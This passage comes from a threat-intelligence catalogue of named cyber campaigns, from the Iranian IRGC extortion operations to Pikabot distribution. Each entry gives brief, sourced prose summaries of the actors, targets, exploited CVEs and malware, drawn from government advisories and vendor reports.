In addition to behavioral observations and indicators of compromise, the advisories provided detection and mitigation guidance, which can be found in the source reports [here](https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-257a) and [here](https://www.cisa.gov/news-events/cybersecurity-advisories/aa21-321a).

Related Vulnerabilities: CVE-2021-34523, CVE-2021-31207, CVE-2021-44228, CVE-2021-45046, CVE-2021-45105^{[[U.S. CISA IRGC Actors September 14 2022](/references/728b20b0-f702-4dbe-afea-50270648a3a2)]}, CVE-2021-34473, CVE-2018-13379, CVE-2020-12812, CVE-2019-5591^{[[U.S. CISA Iranian Government Actors November 19 2021](/references/d7014279-bc6a-43d4-953a-a6bc1d97a13b)]}

The tag is: *misp-galaxy:campaigns="Iranian IRGC Data Extortion Operations"*

Ivanti Cloud Service Application Zero-Day Vulnerability Exploits

On January 22, 2025, U.S. cybersecurity authorities released a joint Cybersecurity Advisory (AA25-022A), which detailed threat actors' exploitation of multiple vulnerabilities in Ivanti Cloud Service Appliances ("CSAs"): CVE-2024-8963, CVE-2024-9379, CVE-2024-8190, and CVE-2024-9380. Citing Ivanti's advisories, actors exploited these vulnerabilities as "zero days" and "chained" exploits together to achieve initial access, remotely execute code, install webshells, and harvest credentials, some of which were exfiltrated for later offline decryption. The advisory detailed exploitation activity that occurred at an unspecified point in September 2024.^{[[U.S. CISA Ivanti Vulnerabilities January 22 2025](/references/aeb3a9ad-2214-40dc-bfd5-f832a4eaf168)]} A vendor threat report attributed the activity to unspecified suspected nation-state actors.^{[[Fortinet Ivanti Vulnerabilities January 22 2025](/references/7cc64109-8b40-4075-9637-46c0de35df7d)]}

The tag is: *misp-galaxy:campaigns="Ivanti Cloud Service Application Zero-Day Vulnerability Exploits"*

Ivanti VPN Zero-Day Exploit Activity (CVE-2025-0282)

Google Cloud security researchers announced that they observed active exploitation of Ivanti Connect Secure VPN appliances. On January 8, Ivanti disclosed disclosed two vulnerabilities in the products, CVE-2025-0282 and CVE-2025-0283, and researchers revealed that they had identified "zero-day" exploitation of one of the vulnerabilities (CVE-2025-0282) since "mid-December" 2024. The researchers attributed the exploitation activity to a "China-nexus" actor dubbed UNC5337, which possibly operates as a subcomponent of UNC5221, a broader actor group believed to be behind exploits of two other vulnerabilities in Ivanti VPN and network access control appliances (CVE-2023-46805 and CVE-2024-21887) one year prior.^{[[Google Cloud January 8 2025](/references/d34943fb-4a7a-4cda-bbe5-3c1f5c00b8a9)]}

The tag is: *misp-galaxy:campaigns="Ivanti VPN Zero-Day Exploit Activity (CVE-2025-0282)"*

J-magic Campaign

The [J-magic Campaign](https://app.tidalcyber.com/campaigns/3b839a7b-095b-5344-8d60-978d06630c3a) was active from mid-2023 to at least mid-2024 and featured the use of the [J-magic](https://app.tidalcyber.com/software/af48c73d-5929-5a45-8182-aea5495346a3) backdoor, a custom cd00r variant tailored for use against Juniper routers. The [J-magic Campaign](https://app.tidalcyber.com/campaigns/3b839a7b-095b-5344-8d60-978d06630c3a) targeted Junos OS routers serving as VPN gateways primarily in the semiconductor, energy, manufacturing, and IT sectors. ^{[[Lumen J-Magic JAN 2025](https://app.tidalcyber.com/references/50764afc-4d2e-54a1-8d24-2128fc91a5d3)]}

The tag is: *misp-galaxy:campaigns="J-magic Campaign"*

JOKERSPY Intrusion

JOKERSPY (aka REF9134) was an intrusion involving a Python-based backdoor, which was used to deploy a malicious macOS-based enumeration tool called Swiftbelt and other open-source tools.^{[[elastic.co 6 21 2023](/references/42c40ec8-f46a-48fa-bd97-818e3d3d320e)]}

The tag is: *misp-galaxy:campaigns="JOKERSPY Intrusion"*

Juicy Mix

[Juicy Mix](https://app.tidalcyber.com/campaigns/afa9af31-e824-5924-b1fe-87b5fd0be2cc) was a campaign conducted by [OilRig](https://app.tidalcyber.com/groups/d01abdb1-0378-4654-aa38-1a4a292703e2) throughout 2022 that targeted Israeli organizations with the [Mango](https://app.tidalcyber.com/software/5d966408-4206-536d-828f-dcc340dae746) backdoor.^{[[ESET OilRig Campaigns Sep 2023](https://app.tidalcyber.com/references/799db594-6a65-5b80-9d64-c530fadbd9ae)]}

The tag is: *misp-galaxy:campaigns="Juicy Mix"*

June 2023 Citrix Vulnerability Exploitation

In July 2023, U.S. Cybersecurity & Infrastructure Security Agency authorities released Cybersecurity Advisory AA23-201A, which detailed an observed exploit of a zero-day vulnerability (CVE-2023-3519) affecting NetScaler (formerly Citrix) Application Delivery Controller ("ADC") and NetScaler Gateway appliances. According to the Advisory, the exploitation activity occurred in June 2023, and the victim (an undisclosed entity in the critical infrastructure sector) reported it in July 2023.^{[[U.S. CISA CVE-2023-3519 Exploits](/references/021c4caa-7a7a-4e49-9c5c-6eec176bf923)]} Citrix acknowledged the reported exploit of the vulnerability, which enables unauthenticated remote code execution, and released a patch on July 18, 2023.^{[[Citrix Bulletin CVE-2023-3519](/references/245ef1b7-778d-4df2-99a9-b51c95c57580)]}

After achieving initial access via exploit of CVE-2023-3519, threat actors dropped a web shell on the vulnerable ADC appliance, which was present on a non-production environment. The web shell enabled subsequent information discovery on the victim's Active Directory ("AD"), followed by collection and exfiltration of AD-related data. The actors also attempted lateral movement to a domain controller, but the Advisory indicated that network segementation controls for the ADC appliance blocked this attempted activity.^{[[U.S. CISA CVE-2023-3519 Exploits](/references/021c4caa-7a7a-4e49-9c5c-6eec176bf923)]} Separately, in a blog on CVE-2023-3519 exploit investigations released the day after the CISA Advisory, Mandiant indicated that the type of activity observed is "consistent with previous operations by China-nexus actors".^{[[Mandiant CVE-2023-3519 Exploitation](/references/4404ed65-3020-453d-8c51-2885018ba03b)]}

Related Vulnerabilities: CVE-2023-3519^{[[U.S. CISA CVE-2023-3519 Exploits](/references/021c4caa-7a7a-4e49-9c5c-6eec176bf923)]}

The tag is: *misp-galaxy:campaigns="June 2023 Citrix Vulnerability Exploitation"*

Kimsuky Remote Desktop Access Activity

This object represents a collection of MITRE ATT&CK® Techniques and other objects related to the subject threat. Further contextual details are provided via the sources in the References tab below and any associated Tags.

The tag is: *misp-galaxy:campaigns="Kimsuky Remote Desktop Access Activity"*

KV Botnet Activity

[KV Botnet Activity](https://app.tidalcyber.com/campaigns/c0c1054c-46f0-5221-9e7c-9907fe224947) consisted of exploitation of primarily “end-of-life” small office-home office (SOHO) equipment from manufacturers such as Cisco, NETGEAR, and DrayTek. [KV Botnet Activity](https://app.tidalcyber.com/campaigns/c0c1054c-46f0-5221-9e7c-9907fe224947) was used by [Volt Typhoon](https://app.tidalcyber.com/groups/4ea1245f-3f35-5168-bd10-1fc49142fd4e) to obfuscate connectivity to victims in multiple critical infrastructure segments, including energy and telecommunication companies and entities based on the US territory of Guam. While the KV Botnet is the most prominent element of this campaign, it overlaps with another botnet cluster referred to as the JDY cluster.^{[[Lumen KVBotnet 2023](https://app.tidalcyber.com/references/81bbc4e1-e1e6-5c93-bf65-ffdc9c7ff71d)]} This botnet was disrupted by US law enforcement entities in early 2024 after periods of activity from October 2022 through January 2024.^{[[DOJ KVBotnet 2024](https://app.tidalcyber.com/references/55cf0ced-0de3-5af8-b3e6-3c33bb445593)]}

The tag is: *misp-galaxy:campaigns="KV Botnet Activity"*

Leviathan Australian Intrusions

[Leviathan Australian Intrusions](https://app.tidalcyber.com/campaigns/c7035b5b-575a-5007-83bb-6b559fbfe3f3) consisted of at least two long-term intrusions against victims in Australia by [Leviathan](https://app.tidalcyber.com/groups/eadd78e3-3b5d-430a-b994-4360b172c871), relying on similar tradecraft such as external service exploitation followed by extensive credential capture and re-use to enable privilege escalation and lateral movement. [Leviathan Australian Intrusions](https://app.tidalcyber.com/campaigns/c7035b5b-575a-5007-83bb-6b559fbfe3f3) were focused on exfiltrating sensitive data including valid credentials for the victim organizations.^{[[CISA Leviathan 2024](https://app.tidalcyber.com/references/4b538c35-ffa0-585f-b708-8c69a07f434a)]}

The tag is: *misp-galaxy:campaigns="Leviathan Australian Intrusions"*

LockBit Affiliate Citrix Bleed Exploits

In November 2023, U.S. cybersecurity authorities and international partners released Cybersecurity Advisory AA23-325A, which detailed observed exploitation of CVE-2023-4966 (known colloquially as the “Citrix Bleed” vulnerability) by threat actors believed to be affiliated with the LockBit ransomware operation.

Citrix Bleed is a vulnerability in Citrix NetScaler web application delivery control (“ADC”) and

NetScaler Gateway appliances, which allows adversaries to bypass password requirements and multifactor authentication, enabling hijacking of legitimate user sessions and subsequent credential harvesting, lateral movement, and data or resource access. Authorities indicated that they expected “widespread” Citrix Bleed exploitation on unpatched services due to the ease of carrying out the exploit.

After successful Citrix Bleed exploitation, LockBit affiliates were observed using a variety of follow-on TTPs and using a range of software, including abuse of native utilities and popular legitimate remote management and monitoring (“RMM”) tools. Indicators of compromise associated with recent intrusions and further incident response and mitigation guidance can be found in the [source report]([U.S. CISA LockBit Citrix Bleed November 21 2023(/references/21f56e0c-9605-4fbb-9cb1-f868ba6eb053)]</sup> Public reporting suggested that actors associated with the Medusa and Qilin ransomware operations, plus other unknown ransomware and uncategorized actors, had also exploited Citrix Bleed as part of their operations.^{[[Malwarebytes Citrix Bleed November 24 2023](/references/fdc86cea-0015-48d1-934f-b22244de6306)]}^{[[Cybernews Yanfeng Qilin November 2023](/references/93c89ca5-1863-4ee2-9fff-258f94f655c4)]}

The tag is: *misp-galaxy:campaigns="LockBit Affiliate Citrix Bleed Exploits"*

Lumma Stealer Distribution via Spoofed Webpages

A security researcher discovered nearly 1,000 malicious webpages that were being used to distribute Lumma Stealer malware. The pages were designed to look like legitimate posts on the Reddit social media platform, and comments to the posts contained further links to fake versions of webpages for the WeTransfer file transfer service. On the WeTransfer page, victims could download spoofed, malicious software which would ultimately drop and execute the infostealer. The researcher indicated that they are not sure how the malicious links were being distributed (such as via SEO poisoning, malvertising, or other means).^{[[SC Media January 24 2025](/references/b32da1da-bb84-41eb-922e-aa3e00b3efdf)]}

The tag is: *misp-galaxy:campaigns="Lumma Stealer Distribution via Spoofed Webpages"*

MacroPack Payload Delivery Activity

Researchers discovered the existence of a newly identified red teaming framework used to generate attack payloads, called "MacroPack". The framework was used to deploy the Brute Ratel and Havoc post-exploitation frameworks and the PhantomCore remote access trojan. In addition to red teaming applications, researchers assessed that MacroPack is also being abused by threat actors.^{[[Cisco Talos Blog September 3 2024](/references/b222cabd-347d-45d4-aeaf-4135795d944d)]}

The tag is: *misp-galaxy:campaigns="MacroPack Payload Delivery Activity"*

Marbled Dust Output Messenger Zero-Day Attack

Actors attributed to Marbled Dust, a Türkiye-affiliated cyber espionage group, were observed exploiting user accounts via a zero-day vulnerability in the Output Messenger cross-platform messaging application. The attacks targeted users associated with the Kurdish military in Iraq and

sought to exfiltrate data. Microsoft security researchers indicated that "successful use of a zero-day exploit suggests an increase in [Marbled Dust] technical sophistication".^{[[Microsoft Security Blog May 12 2025](/references/8fb1a0ff-2977-4f50-aba9-e5f5c2b63647)]}

The tag is: *misp-galaxy:campaigns="Marbled Dust Output Messenger Zero-Day Attack"*

May 2023 Exfiltration & Wiper Activity (Truebot + FlawedGrace + MBR Killer)

The DFIR Report researchers reported about activity taking place in May 2023, which saw an adversary, attributed to FIN11 and Lace Tempest, achieve initial access into a victim environment via a spearphishing email, leading to the download of Truebot malware. Several other tools and malware were then subsequently used to move laterally, discover and collect victim information, exfiltrate it, and ultimately deploy a wiper. These included: FlawedGrace, Cobalt Strike, Impacket, various native utilities, and MBR Killer. In total, the activity lasted for 29 hours.^{[[The DFIR Report Truebot June 12 2023](/references/a6311a66-bb36-4cad-a98f-2b0b89aafa3d)]}

The tag is: *misp-galaxy:campaigns="May 2023 Exfiltration & Wiper Activity (Truebot + FlawedGrace + MBR Killer)"*

Microsoft Midnight Blizzard Breach

This object represents a collection of MITRE ATT&CK® Techniques and other objects (Groups and/or Software) related to the specified threat activity. Further background & contextual details can be found in the References tab below.

The tag is: *misp-galaxy:campaigns="Microsoft Midnight Blizzard Breach"*

Midnight Blizzard RDP File Spearphishing Campaign

Microsoft security researchers identified a campaign attributed to Russian espionage group Midnight Blizzard, in which actors sent spearphishing emails containing remote desktop protocol (RDP) configuration file attachments to thousands of users. Recipients included employees from more than 100 organizations, including government, higher education, defense, and non-governmental entities in countries including the United Kingdom, Europe, Australia, and Japan. According to the researchers, the use of signed .rdp file attachments, which extend automatic RDP settings and resource mappings from local systems to actor-controlled servers, represented a new initial access method for Midnight Blizzard.^{[[Microsoft Midnight Blizzard October 29 2024](/references/b4455d64-1171-487d-b0b4-be192be7b08c)]}

The tag is: *misp-galaxy:campaigns="Midnight Blizzard RDP File Spearphishing Campaign"*

Molerats 2021 Backdoor Delivery Campaign

Researchers observed a campaign that took place in the latter half of 2021, apparently directed at individuals representing financial and political figures in Palestine and Tukery, that used malicious, macro-based Microsoft Office files to compromise victim systems with the aim of installing a .NET-

based backdoor tool. Researchers attributed the activity to the Molerats APT group.^{[[Zscaler Molerats Campaign](/references/3b39e73e-229f-4ff4-bec3-d83e6364a66e)]}

The tag is: *misp-galaxy:campaigns="Molerats 2021 Backdoor Delivery Campaign"*

Night Dragon

[Night Dragon](https://app.tidalcyber.com/campaigns/85f136b3-d5a3-4c4c-a37c-40e4418dc989) was a cyber espionage campaign that targeted oil, energy, and petrochemical companies, along with individuals and executives in Kazakhstan, Taiwan, Greece, and the United States. The unidentified threat actors searched for information related to oil and gas field production systems, financials, and collected data from SCADA systems. Based on the observed techniques, tools, and network activities, security researchers assessed the campaign involved a threat group based in China.^{[[McAfee Night Dragon](https://app.tidalcyber.com/references/242d2933-ca2b-4511-803a-454727a3acc5)]}

The tag is: *misp-galaxy:campaigns="Night Dragon"*

November 2023-May 2025 Lumma Stealer Deployment Activity

In May 2025, U.S. cybersecurity authorities released joint cybersecurity advisory AA25-141B, which detailed behaviors used by unspecified threat actors to deploy the LummaC2 (aka Lumma Stealer) information stealer (infostealer) malware. The advisory covered activity observed from November 2023 through May 2025.^{[[U.S. CISA LummaC2 May 21 2025](/references/bbb517d2-a84a-4e60-a1ae-32c2841e7f34)]}

Separately, on May 21, 2025 (the day of the advisory's release), U.S. Justice Department officials, international agencies, and private sector partners announced coordinated efforts to seize thousands of domains associated with Lumma Stealer distribution, including its "central command structure".^{[[U.S. DOJ Lumma Stealer Domain Seizures May 21 2025](/references/e26d1951-fadf-46c5-96af-3845929fd470)]}^{[[Microsoft Lumma Stealer Disruption May 21 2025](/references/bc7580b8-a686-4f90-a833-55592c62894b)]}

The tag is: *misp-galaxy:campaigns="November 2023-May 2025 Lumma Stealer Deployment Activity"*

Okta Customer Support Security Incident

According to details published by Okta Security, threat actors gained unauthorized access to Okta's customer support management system from September 28 to October 17, 2023. Initial access to the system was believed to have been achieved after an employee signed into a personal cloud account on their Okta-managed laptop and saved the legitimate credentials for an Okta service account into that cloud profile. Okta Security believes the personal cloud account was most likely compromised (through unspecified means), exposing the Okta service account credentials.

After gaining access to the Okta customer support management system using the valid service account credentials, the threat actor accessed HTTP Archive (HAR) files provided by Okta

customers, which can contain cookies and session tokens. Okta indicated that the threat actor used session tokens compromised during the incident to hijack the legitimate Okta sessions of at least five customers. The threat actor is also believed to have run and downloaded a report that contained the names and email addresses of all Okta customer support system users. Considering that customers' names and email addresses were downloaded, Okta Security indicated that they assessed there is an increased risk of phishing and social engineering attacks directed at those users following the incident.^{[[Okta HAR Files Incident Notice](/references/14855034-494e-477d-8c91-fc534fd7790d)]}^{[[Okta HAR Files RCA](/references/742d095c-9bd1-4f4a-8bc6-16db6d15a9f4)]}^{[[Okta HAR Files Incident Update](/references/5e09ab9c-8cb2-49f5-b65f-fd5447e71ef4)]}

The tag is: *misp-galaxy:campaigns="Okta Customer Support Security Incident"*

Operation Bearded Barbie

"Operation Bearded Barbie" was a suspected AridViper (aka APT-C-23/Desert Falcon) campaign that appeared to target Israeli individuals, especially "high-profile" defense, law enforcement, and other government service personnel. The campaign heavily relied upon social engineering techniques, including the use of well-developed social media personas, aimed at tricking targets into installing backdoors for Windows and Android devices. The campaign appeared to be motivated by information collection for espionage purposes.^{[[Cybereason Operation Bearded Barbie April 5 2022](/references/7d71b7c9-531e-4e4f-ab85-df2380555b7a)]}

The tag is: *misp-galaxy:campaigns="Operation Bearded Barbie"*

Operation Code on Toast

This object represents a collection of MITRE ATT&CK® Techniques and other objects related to the subject threat. Further contextual details are provided via the sources in the References tab below and any associated Tags.

The tag is: *misp-galaxy:campaigns="Operation Code on Toast"*

Operation CuckooBees

[Operation CuckooBees](https://app.tidalcyber.com/campaigns/81bf4e45-f0d3-4fec-a9d4-1259cf8542a1) was a cyber espionage campaign targeting technology and manufacturing companies in East Asia, Western Europe, and North America since at least 2019. Security researchers noted the goal of [Operation CuckooBees](https://app.tidalcyber.com/campaigns/81bf4e45-f0d3-4fec-a9d4-1259cf8542a1), which was still ongoing as of May 2022, was likely the theft of proprietary information, research and development documents, source code, and blueprints for various technologies. Researchers assessed [Operation CuckooBees](https://app.tidalcyber.com/campaigns/81bf4e45-f0d3-4fec-a9d4-1259cf8542a1) was conducted by actors affiliated with [Winnti Group](https://app.tidalcyber.com/groups/6932662a-53a7-4e43-877f-6e940e2d744b), [APT41](https://app.tidalcyber.com/groups/502223ee-8947-42f8-a532-a3b3da12b7d9), and BARIUM.^{[[Cybereason OperationCuckooBees May 2022](https://app.tidalcyber.com/references/fe3e2c7e-2287-406c-b717-cf7721b5843a)]}

The tag is: *misp-galaxy:campaigns="Operation CuckooBees"*

Operation Deceptive Prospect

Actors attributed to the RomCom adversary group targeted UK organizations via customer feedback portals, exploiting these mechanisms to deliver remote access trojan malware that enabled comprehensive remote control over infected systems. The campaign showcased advanced social engineering techniques through convincing feedback submissions containing embedded malicious code.^{[[CybersecurityNews May 5 2025](/references/8516eaf7-0749-4dba-9d04-c112a13a87f4)]}

The tag is: *misp-galaxy:campaigns="Operation Deceptive Prospect"*

Operation Dream Job

[Operation Dream Job](https://app.tidalcyber.com/campaigns/9a94e646-cbe5-54a1-8bf6-70ef745e641b) was a cyber espionage operation likely conducted by [Lazarus Group](https://app.tidalcyber.com/groups/0bc66e95-de93-4de7-b415-4041b7191f08) that targeted the defense, aerospace, government, and other sectors in the United States, Israel, Australia, Russia, and India. In at least one case, the cyber actors tried to monetize their network access to conduct a business email compromise (BEC) operation. In 2020, security researchers noted overlapping TTPs, to include fake job lures and code similarities, between [Operation Dream Job](https://app.tidalcyber.com/campaigns/9a94e646-cbe5-54a1-8bf6-70ef745e641b), Operation North Star, and Operation Interception; by 2022 security researchers described [Operation Dream Job](https://app.tidalcyber.com/campaigns/9a94e646-cbe5-54a1-8bf6-70ef745e641b) as an umbrella term covering both Operation Interception and Operation North Star.^{[[ClearSky Lazarus Aug 2020](https://app.tidalcyber.com/references/2827e6e4-8163-47fb-9e22-b59e59cd338f)]}^{[[McAfee Lazarus Jul 2020](https://app.tidalcyber.com/references/43581a7d-d71a-4121-abb6-127483a49d12)]}^{[[ESET Lazarus Jun 2020](https://app.tidalcyber.com/references/b16a0141-dea3-4b34-8279-7bc1ce3d7052)]}^{[[The Hacker News Lazarus Aug 2022](https://app.tidalcyber.com/references/8ae38830-1547-5cc1-83a4-87c3a7c82aa6)]}

The tag is: *misp-galaxy:campaigns="Operation Dream Job"*

Operation Dust Storm

[Operation Dust Storm](https://app.tidalcyber.com/campaigns/af0c0f55-dc4f-4cb5-9350-3a2d7c07595f) was a long-standing persistent cyber espionage campaign that targeted multiple industries in Japan, South Korea, the United States, Europe, and several Southeast Asian countries. By 2015, the [Operation Dust Storm](https://app.tidalcyber.com/campaigns/af0c0f55-dc4f-4cb5-9350-3a2d7c07595f) threat actors shifted from government and defense-related intelligence targets to Japanese companies or Japanese subdivisions of larger foreign organizations supporting Japan's critical infrastructure, including electricity generation, oil and natural gas, finance, transportation, and construction.^{[[Cylance Dust Storm](https://app.tidalcyber.com/references/001dd53c-74e6-4add-aeb7-da76b0d2afe8)]}

[Operation Dust Storm](https://app.tidalcyber.com/campaigns/af0c0f55-dc4f-4cb5-9350-3a2d7c07595f) threat actors also began to use Android backdoors in their operations by 2015, with all identified victims at the time residing in Japan or South Korea.^{[[Cylance Dust Storm](https://app.tidalcyber.com/references/001dd53c-74e6-4add-aeb7-da76b0d2afe8)]}

The tag is: *misp-galaxy:campaigns="Operation Dust Storm"*

Operation Ghost

[Operation Ghost](https://app.tidalcyber.com/campaigns/1fcfe949-5f96-578e-86ad-069ba123c867) was an [APT29](https://app.tidalcyber.com/groups/4c3e48b9-4426-4271-a7af-c3dfad79f447) campaign starting in 2013 that included operations against ministries of foreign affairs in Europe and the Washington, D.C. embassy of a European Union country. During [Operation Ghost](https://app.tidalcyber.com/campaigns/1fcfe949-5f96-578e-86ad-069ba123c867), [APT29](https://app.tidalcyber.com/groups/4c3e48b9-4426-4271-a7af-c3dfad79f447) used new families of malware and leveraged web services, steganography, and unique C2 infrastructure for each victim.^{[[ESET Dukes October 2019](https://app.tidalcyber.com/references/fbc77b85-cc5a-4c65-956d-b8556974b4ef)]}

The tag is: *misp-galaxy:campaigns="Operation Ghost"*

Operation Honeybee

[Operation Honeybee](https://app.tidalcyber.com/campaigns/f741ed36-2d52-40ae-bbdc-70722f4071c7) was a campaign that targeted humanitarian aid and inter-Korean affairs organizations from at least late 2017 through early 2018. [Operation Honeybee](https://app.tidalcyber.com/campaigns/f741ed36-2d52-40ae-bbdc-70722f4071c7) initially targeted South Korea, but expanded to include Vietnam, Singapore, Japan, Indonesia, Argentina, and Canada. Security researchers assessed the threat actors were likely Korean speakers based on metadata used in both lure documents and executables, and named the campaign "Honeybee" after the author name discovered in malicious Word documents.^{[[McAfee Honeybee](https://app.tidalcyber.com/references/e6f0f7b5-01fe-437f-a9c9-2ea054e7d69d)]}

The tag is: *misp-galaxy:campaigns="Operation Honeybee"*

Operation In(ter)ception

Operation In(ter)ception refers to a series of threat activities attributed to Lazarus Group dating back to at least late 2019. Operation In(ter)ception campaigns are considered a sub-component of broader Lazarus Group espionage activities known as Operation Dream Job. Operation In(ter)ception attacks typically feature social engineering lures containing fake job vacany announcements for cryptocurrency companies. They are designed to ultimately infect targets with macOS malware.^{[[SentinelOne 9 26 2022](/references/973a110c-f1cd-46cd-b92b-5c7d8e7492b1)]}

The tag is: *misp-galaxy:campaigns="Operation In(ter)ception"*

Operation Lunar Peek (CVE-2024-0012 & CVE-2024-9474 Exploitation Activity)

This object represents a collection of MITRE ATT&CK® Techniques and other objects related to the subject threat. Further contextual details are provided via the sources in the References tab below and any associated Tags.

The tag is: *misp-galaxy:campaigns="Operation Lunar Peek (CVE-2024-0012 & CVE-2024-9474 Exploitation Activity)"*

Operation MidnightEclipse

[Operation MidnightEclipse](https://app.tidalcyber.com/campaigns/440702c5-cb76-5d9c-9223-d00882693ba3) was a campaign conducted in March and April 2024 that involved initial exploit of zero-day vulnerability CVE-2024-3400, a critical command injection vulnerability in the GlobalProtect feature of Palo Alto Networks PAN-OS.^{[[Volexity UPSTYLE 2024](https://app.tidalcyber.com/references/2f5c6e28-ba86-537b-b71b-4a7625b8d41e)]}^{[[Palo Alto MidnightEclipse APR 2024](https://app.tidalcyber.com/references/3aafba02-9807-5977-8b42-ec02fd8dee5e)]}

The tag is: *misp-galaxy:campaigns="Operation MidnightEclipse"*

Operation Sharpshooter

[Operation Sharpshooter](https://app.tidalcyber.com/campaigns/57e858c8-fd0b-4382-a178-0165d03aa8a9) was a global cyber espionage campaign that targeted nuclear, defense, government, energy, and financial companies, with many located in Germany, Turkey, the United Kingdom, and the United States. Security researchers noted the campaign shared many similarities with previous [Lazarus Group](https://app.tidalcyber.com/groups/0bc66e95-de93-4de7-b415-4041b7191f08) operations, including fake job recruitment lures and shared malware code.^{[[McAfee Sharpshooter December 2018](https://app.tidalcyber.com/references/96b6d012-8620-4ef5-bf9a-5f88e465a495)]}^{[[Bleeping Computer Op Sharpshooter March 2019](https://app.tidalcyber.com/references/84430646-6568-4288-8710-2827692a8862)]}^{[[Threatpost New Op Sharpshooter Data March 2019](https://app.tidalcyber.com/references/2361b5b1-3a01-4d77-99c6-261f444a498e)]}

The tag is: *misp-galaxy:campaigns="Operation Sharpshooter"*

Operation Spalax

[Operation Spalax](https://app.tidalcyber.com/campaigns/98d3a8ac-6af9-4471-83f6-e880ca70261f) was a campaign that primarily targeted Colombian government organizations and private companies, particularly those associated with the energy and metallurgical industries. The [Operation Spalax](https://app.tidalcyber.com/campaigns/98d3a8ac-6af9-4471-83f6-e880ca70261f) threat actors distributed commodity malware and tools using generic phishing topics related to COVID-19, banking, and law enforcement action. Security researchers noted indicators of compromise and some infrastructure overlaps with other campaigns dating back to April 2018,

including at least one separately attributed to [APT-C-36](https://app.tidalcyber.com/groups/153c14a6-31b7-44f2-892e-6d9fdc152267), however identified enough differences to report this as separate, unattributed activity.^{[[ESET Operation Spalax Jan 2021](https://app.tidalcyber.com/references/b699dd10-7d3f-4542-bf8a-b3f0c747bd0e)]}

The tag is: *misp-galaxy:campaigns="Operation Spalax"*

Operation Wocao

[Operation Wocao](https://app.tidalcyber.com/campaigns/56e4e10f-8c8c-4b7c-8355-7ed89af181be) was a cyber espionage campaign that targeted organizations around the world, including in Brazil, China, France, Germany, Italy, Mexico, Portugal, Spain, the United Kingdom, and the United States. The suspected China-based actors compromised government organizations and managed service providers, as well as aviation, construction, energy, finance, health care, insurance, offshore engineering, software development, and transportation companies.^{[[FoxIT Wocao December 2019](https://app.tidalcyber.com/references/aa3e31c7-71cd-4a3f-b482-9049c9abb631)]}

Security researchers assessed the [Operation Wocao](https://app.tidalcyber.com/campaigns/56e4e10f-8c8c-4b7c-8355-7ed89af181be) actors used similar TTPs and tools as APT20, suggesting a possible overlap. [Operation Wocao](https://app.tidalcyber.com/campaigns/56e4e10f-8c8c-4b7c-8355-7ed89af181be) was named after an observed command line entry by one of the threat actors, possibly out of frustration from losing webshell access.^{[[FoxIT Wocao December 2019](https://app.tidalcyber.com/references/aa3e31c7-71cd-4a3f-b482-9049c9abb631)]}

The tag is: *misp-galaxy:campaigns="Operation Wocao"*

Outer Space

[Outer Space](https://app.tidalcyber.com/campaigns/cc893de9-3a94-531d-b799-08c75aeab019) was a campaign conducted by [OilRig](https://app.tidalcyber.com/groups/d01abdb1-0378-4654-aa38-1a4a292703e2) throughout 2021 that used the [SampleCheck5000](https://app.tidalcyber.com/software/e3864daf-a284-5cc0-b434-6e77c8406bd9) downloader and [Solar](https://app.tidalcyber.com/software/d168da01-86ca-5392-80fb-4488b41ea704) backdoor to target Israeli organizations.^{[[ESET OilRig Campaigns Sep 2023](https://app.tidalcyber.com/references/799db594-6a65-5b80-9d64-c530fadbd9ae)]}

The tag is: *misp-galaxy:campaigns="Outer Space"*

Pacific Rim Network Device Targeting Campaigns

On October 31, 2024, Sophos X-Ops researchers published details of a wide-reaching, five-year-long investigation they carried out into China-based threat groups using botnets, novel vulnerability exploits, and custom malware to target "perimeter devices" such as Sophos firewalls. This Campaign object reflects the various MITRE ATT&CK® Techniques referenced in the "Pacific Rim timeline" article within the reporting series.^{[[Sophos Pacific Rim Timeline October 31 2024](/references/77146036-d207-465e-a987-3e9e527ea927)]}

Considering inherent challenges in securing network devices, such as telemetry collection and

detection tuning, this extensive set of TTPs could be useful for identifying post-exploit opportunities for detection or mitigation, allowing layering of defenses against sophisticated network device campaigns such as Pacific Rim.

The tag is: *misp-galaxy:campaigns="Pacific Rim Network Device Targeting Campaigns"*

PaperCut Vulnerability Exploitation

In May 2023, U.S. Cybersecurity & Infrastructure Security Agency (CISA) and Federal Bureau of Investigation (FBI) authorities released Cybersecurity Advisory AA23-131A, which detailed observed exploits of a vulnerability, CVE-2023-27350, affecting certain versions of PaperCut NG and PaperCut MF, software applications for print management. PaperCut released a patch for the vulnerability in March 2023.^{[[PaperCut MF/NG vulnerability bulletin](/references/d6e71b45-fc91-40f4-8201-2186994ae42a)]} According to the Advisory, authorities observed unspecified threat actors exploiting the vulnerability in mid-April 2023, followed by exploitation by the self-identified Bl00dy Ransomware Gang the following month.^{[[U.S. CISA PaperCut May 2023](/references/b5ef2b97-7cc7-470b-ae97-a45dc4af32a6)]}

CVE-2023-27350 allows a remote actor to bypass authentication and remotely execute code on servers running affected versions of PaperCut software. In May, U.S. authorities observed Bl00dy Ransomware Gang actors exploiting the vulnerability to achieve initial access into education sector entities' networks and ingressing both legitimate remote management and maintenance (RMM) tools and several other command and control-related malware, including Lizar, Truebot, and Cobalt Strike. In some cases, the actors ultimately exfiltrated victim data and encrypted files, demanding payment in order to decrypt affected systems (the Advisory did not indicate how precisely actors encrypted data). The Advisory indicated that the "Education Facilities Subsector" maintains nearly 70% of exposed (but not necessarily vulnerable) U.S.-based PaperCut servers.^{[[U.S. CISA PaperCut May 2023](/references/b5ef2b97-7cc7-470b-ae97-a45dc4af32a6)]}

The Advisory instructed defenders to focus CVE-2023-27350 detection efforts on three areas: network traffic signatures, system monitoring, and server settings and log files. More details and resources for detection can be found in the [source report](https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-131a).

Related Vulnerabilities: CVE-2023-27350^{[[U.S. CISA PaperCut May 2023](/references/b5ef2b97-7cc7-470b-ae97-a45dc4af32a6)]}

The tag is: *misp-galaxy:campaigns="PaperCut Vulnerability Exploitation"*

Pikabot Distribution Campaigns 2023

Operationalize this intelligence by pivoting to relevant defensive resources via the Techniques below. Alternatively, use the Add to Matrix button above, then overlay entire sets of capabilities from your own defensive stack to identify threat overlaps & potential gaps (watch a [60-second tutorial here](https://www.youtube.com/watch?v=4jBo3XLO01E)).

This is a single object to represent the initial access and delivery methods observed with Pikabot

